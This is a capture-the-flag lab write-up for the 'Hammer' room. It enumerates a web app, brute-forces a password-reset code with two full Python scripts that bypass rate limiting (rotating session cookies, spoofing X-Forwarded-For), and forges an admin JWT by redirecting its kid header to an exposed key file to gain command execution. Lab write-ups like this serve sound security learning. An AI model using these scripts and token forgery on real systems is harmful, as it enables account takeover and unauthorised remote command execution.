Post

Hammer

Use your exploitation skills to bypass authentication mechanisms on a website and get RCE.

Hammer

Room

Room Card

  • Title: hammerv1.32
  • Name: Hammer
  • Description: Use your exploitation skills to bypass authentication mechanisms on a website and get RCE.

Flags

  1. What is the flag value after logging in to the dashboard?
  2. What is the content of the file /home/ubuntu/flag.txt?

Author

Initial Enumeration

As usual, let’s start with an Nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ sudo nmap -sS -Pn -v -p- -T4 -A 10.10.84.80
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0b:c0:a0:e1:83:08:61:e7:45:87:98:c3:88:73:cb:0e (RSA)
|   256 23:6b:88:84:9f:a1:6a:cb:cf:a7:66:e9:67:a7:a4:c6 (ECDSA)
|_  256 2a:68:72:31:2e:50:d4:84:08:a1:bc:31:4a:ee:9f:47 (ED25519)
1337/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Login

It appears that a webserver is running on a non-standard port 1337:

102b350e0a847906bdb8dcde19780308.png

We are faced with a login page, let’s look at the source code:

ab186aec7d549f3addf7de24071c1321.png

We learn that the directory naming convention is hmr_<directory name> So, to enumerate directories, I will use wfuzz for this job.

Directory Enumeration

1
2
3
4
5
6
7
8
9
10
$ wfuzz -u "http://10.10.84.80:1337/hmr_FUZZ" -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -c --hc 404
...
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                              
=====================================================================

000000016:   301        9 L      28 W       322 Ch      "images"                                             
000000550:   301        9 L      28 W       319 Ch      "css"                                                
000000953:   301        9 L      28 W       318 Ch      "js"                                                 
000002271:   301        9 L      28 W       320 Ch      "logs"

The most interesting directory is hmr_logs. Let’s navigate to it. We see that directory listing is enabled and that there is file called error.logs in this directory.

04bce6b2585e21e0190dab6c0b14dda5.png

After further inspection of the file, we learn about a valid user called tester@hammer.thm

c3f445a8cab62d9fd86a1b75ff5d1e53.png

  • We also learn that the domain name is hammer.thm and we can add it to our /etc/hosts

There is an Information Disclosure vulnerability on the /reset_password.php page.

  • It basically tells you if the entered email address exists or not
  • It is easy to enumerate users with wfuzz for example

This room however did not have any other user!

9b73abbdcbad5383a3b97cae4fa0db9c.png

Flag 1

We have the ability to reset tester@hammer.com’s password from /reset_password.php

However, we are required to enter a 4-digit code within the provided time to proceed. bce5bc0b2e9386fc8fb6cf59fa689de0.png

This should be easy to brute force with Burp’s Intruder. But unfortunately for us, there is rate-limiting in place. e854a81322266532be89c3f870b122ca.png

There are actually two ways to bypass this rate-limit. There is an intended way and there is how I bypassed it. Let’s first see how I did it, and then I’ll show you how you can bypass it with the intented way.

Rate-Limit Bypass

I was stuck at this point and was trying different things. I thought to myself, what if the code doesn’t change when you make new password-reset requests? This would certainly make it easy to bypass the rate-limit like so:

  1. We can make an initial request with a random PHPSESSID to reset tester@hammer.thm’s password.
  2. We use the same PHPSESSID to try to brute-force the 4-digit code 3 times or so
  3. Then we make another reset-password request with a new PHPSESSID
  4. We then use this new PHPSESSID to brute-force the 4-digit code 3 times or so
  5. We continue this cycle until the 4 digit code is found.

To save time, I used the help of our good friend ChatGPT to write me a python script to achieve this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

# Set the initial counter value
counter = 0

# URL to which the requests will be made
url = "http://hammer.thm:1337/reset_password.php"

# Loop through all possible recovery codes from 1111 to 9999
for digit in range(1111, 10000, 3):
    # Prepare the session cookie with the current counter
    cookies = {'PHPSESSID': str(counter)}

    # First POST request with the email
    data = {'email': 'tester@hammer.thm'}
    response = requests.post(url, cookies=cookies, data=data)
    print(f"Request 1 with counter={counter}, response={response.status_code}")

    # Make 3 POST requests with the incremented recovery code
    for i in range(3):
        current_digit = digit + i
        data = {'recovery_code': str(current_digit), 's': '200'}
        response = requests.post(url, cookies=cookies, data=data)
        print(f"Recovery Request with digit={current_digit}, counter={counter}, response={response.status_code}")

        # Check if the response does not contain 'Invalid or expired recovery code!'
        if "Invalid or expired recovery code!" not in response.text:
            print(f"Success! Valid request found with digit={current_digit} and counter={counter}")
            print(f"Response content: {response.text}")
            # Exit the loop if a valid code is found
            exit()

    # Increment the counter after the three requests
    counter += 1

437576a4adda20fca28681e6c3ebdef7.png

And after entering the 4-digit code, we are able to reset the password. bc2d08baf9106bc8ed74fa906ecfd36c.png

Rate-Limit Bypass (Intended way)

When you are brute-forcing the password, the server keeps decreasing the Rate-Limit-Pending header: a491feb7247a4e4d8f25718408220700.png

If you add a X-Forwarded-For header in your POST request, the Rate-Limit-Pending will be reset. 22a448f21765eabd3fa9e3c9999590f6.png

Each IP address that you use in your X-Forwarded-For header, will be valid for about 10 tries.

  • So now all we have to do, is come up with a script that keeps changing the IP address in the X-Forwarded-For header after every 9 tries or so.

Again, we can ask ChatGPT for help ;)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import random

# Define the URL
url = "http://hammer.thm:1337/reset_password.php"

# Function to generate a random IP address in the 127.x.x.x range
def generate_random_ip(used_ips):
    while True:
        ip = f"127.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 255)}"
        if ip not in used_ips:
            used_ips.add(ip)
            return ip

# Set to keep track of used IPs
used_ips = set()

# Create a session object
session = requests.Session()

# Make the initial POST request with the email
initial_data = {'email': 'tester@hammer.thm'}
initial_response = session.post(url, data=initial_data)
print(f"Initial request response: {initial_response.status_code}")

# Start guessing the 4-digit code from 1111 to 9999
for i, digit in enumerate(range(1111, 10000)):
    # After every 9 requests, generate a new random IP that hasn't been used
    if i % 9 == 0:
        ip_address = generate_random_ip(used_ips)

    # Prepare the headers with the current IP
    headers = {'X-Forwarded-For': ip_address}

    # Prepare the data for the POST request
    data = {'recovery_code': str(digit), 's': '200'}

    # Retry loop for handling timeouts
    while True:
        try:
            # Make the POST request with the recovery code and custom headers
            response = session.post(url, data=data, headers=headers, timeout=10)
            print(f"Attempt {i+1}, Code: {digit}, IP: {ip_address}, Response: {response.status_code}")

            # Check if the response indicates a successful guess
            if "Invalid or expired recovery code!" not in response.text:
                print(f"Success! The correct code is {digit}.")
                exit()
            
            # Exit the retry loop if the request is successful
            break

        except requests.exceptions.Timeout:
            print(f"Timeout encountered on attempt {i+1}, retrying...")

This code will use a random 127.x.x.x IP address as the X-Forwarded-For header after 9 tries and makes sure that it doesn’t re-use any IP.

It might take a few tries with this method. I had to run the code multiple times for it to work.

5018feb981e3e07f896c1b5b99742daa.png

Let’s set the password to something simple like tester and try to log in. cb8ec8224b2cbad20819f11b7640891d.png

Once we login, we see our first flag.

  • We can also see that our role which is user
  • The only command that we are allowed to run is ls
  • The file 188ade1.key is interesting
  • We automatically logout after 10 seconds or so

f25c0615f8e405528fddf52a2a8d11a0.png

Flag 2

By inspecting the source code, we see that a client-side script is running and logging us out after 10 seconds. 47b8fc39a18bab743e71f388eb748b1e.png

We can simply intercept this page within Burp and comment-out the line which redirect us to logout.php 82e2dd2b7e06e5a48ee1cb5bf265abe6.png

After inspecting the source code, we also learn how our commands are being communicated with the server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$(document).ready(function() {
    $('#submitCommand').click(function() {
        var command = $('#command').val();
        var jwtToken = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzI1MjE0MDc0LCJleHAiOjE3MjUyMTc2NzQsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.F9cMQWLXA68pD7ouNbg7DEroxENwPEXf9U9qlx1G7cc';

        // Make an AJAX call to the server to execute the command
        $.ajax({
            url: 'execute_command.php',
            method: 'POST',
            data: JSON.stringify({ command: command }),
            contentType: 'application/json',
            headers: {
                'Authorization': 'Bearer ' + jwtToken
            },
            success: function(response) {
                $('#commandOutput').text(response.output || response.error);
            },
            error: function() {
                $('#commandOutput').text('Error executing command.');
            }
        });
    });
});

JWT Token - Examination

Let’s use a tool called jwt_token.py to examine the token.

The tool can be found here: https://github.com/ticarpi/jwt_tool

1
$ jwt_tool.py 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzI1MjE0MDc0LCJleHAiOjE3MjUyMTc2NzQsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.F9cMQWLXA68pD7ouNbg7DEroxENwPEXf9U9qlx1G7cc'

3b009e4c6577b32e20b20c6e2903a195.png

JWT Token Manipulation - KID Attack

The most interesting thing that caught my eye, was the kid header inside the token:

The kid value indicates what key was used to sign the JWT. For a symmetric key the kid could be used to look up a value in a secrets vault. For an asymmetric signing algorithm, this value lets the consumer of a JWT look up the correct public key corresponding to the private key which signed this JWT. Processing this value correctly is critical to signature verification and the integrity of the JWT payload.

Source: https://fusionauth.io/articles/tokens/jwt-components-explained

This is when I remembered the 188ade1.key file and then it clicked.

All we have to do now is manipulate the token so that we change the role from user to admin and change the kid header to point to /var/www/html/188ade1.key.

Once we do that we can download the 188ade1.key file and sign our token with it. Once we send a request, the server will check the kid header inside our token and use the /var/www/html/188ade1.key file to verify the authenticity of our token. Since the signitures will match, we will run commands as admin.

  1. Download the 188ade1.key file:
1
$ wget http://hammer.thm:1337/188ade1.key
  1. Manipulate our token:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
$ jwt_took.py -T 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzI1MjE0MDc0LCJleHAiOjE3MjUyMTc2NzQsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.F9cMQWLXA68pD7ouNbg7DEroxENwPEXf9U9qlx1G7cc' 
...
Token header values:
[1] typ = "JWT"
[2] alg = "HS256"
[3] kid = "/var/www/mykey.key"
[4] *ADD A VALUE*
[5] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 3

Current value of kid is: /var/www/mykey.key
Please enter new value and hit ENTER
> /var/www/html/188ade1.key
...

[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
...
[5] data = JSON object:
    [+] user_id = 1
    [+] email = "tester@hammer.thm"
    [+] role = "user"
...

Please select a field number:
(or 0 to Continue)
> 5

Please select a sub-field number for the data claim:
(or 0 to Continue)
[1] user_id = 1
[2] email = tester@hammer.thm
[3] role = user
...
> 3

Current value of role is: user
Please enter new value and hit ENTER
> admin
...

[0] Continue to next step
> 0
...

[0] Continue to next step
> 0

Signature unchanged - no signing method specified (-S or -X)
jwttool_9c6531ec0a569612bae8d8f0ddc91457 - Tampered token:
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L2h0bWwvMTg4YWRlMS5rZXkifQ.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzI1MjE0MDc0LCJleHAiOjE3MjUyMTc2NzQsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJhZG1pbiJ9fQ.F9cMQWLXA68pD7ouNbg7DEroxENwPEXf9U9qlx1G7cc
  1. Now we can grab this new token and sign it with the 188ade1.key file
1
2
3
4
5
6
$ jwt_tool.py -S hs256 -k ./188ade1.key 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L2h0bWwvMTg4YWRlMS5rZXkifQ.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzI1MjE0MDc0LCJleHAiOjE3MjUyMTc2NzQsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJhZG1pbiJ9fQ.F9cMQWLXA68pD7ouNbg7DEroxENwPEXf9U9qlx1G7cc'

...

jwttool_dcebbc1ad8392964658d8f3881d01c74 - Tampered token - HMAC Signing:
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L2h0bWwvMTg4YWRlMS5rZXkifQ.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzI1MjE0MDc0LCJleHAiOjE3MjUyMTc2NzQsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJhZG1pbiJ9fQ.gbonli7DyhtjqeYcmQE3bsRCaVmDKBTzDhLEOpeMl9w

Running commands as admin

Let’s replace the token in the Authorization header with our newly generated and signed token and see if we can run any command other than ls 9c1a0d200be4154d5998659bffb93db3.png

Let’s try to read the contents of /home/ubuntu/flag.txt ed2fe6c8fa221a839b33d2234909391b.png

I originally got a reverse shell on the system and tried escalating privileges to root by I was unsuccessfull.

You will find the mysql database credentials inside /var/www/html/config.php and then login from phpmyadmin but there isn’t anything interesting there.

Outro

Many thanks to the creator of this room 1337rce

  • Since I wasn’t aware of X-Forwarded-For rate-limit bypass method, I had to get creative and come up with my own way to bypass it.
  • I also learned something new from this room which was the JWT Kid Attack

Overall, an amazing and informative room.

- m3gakr4nus

This post is licensed under CC BY 4.0 by the author.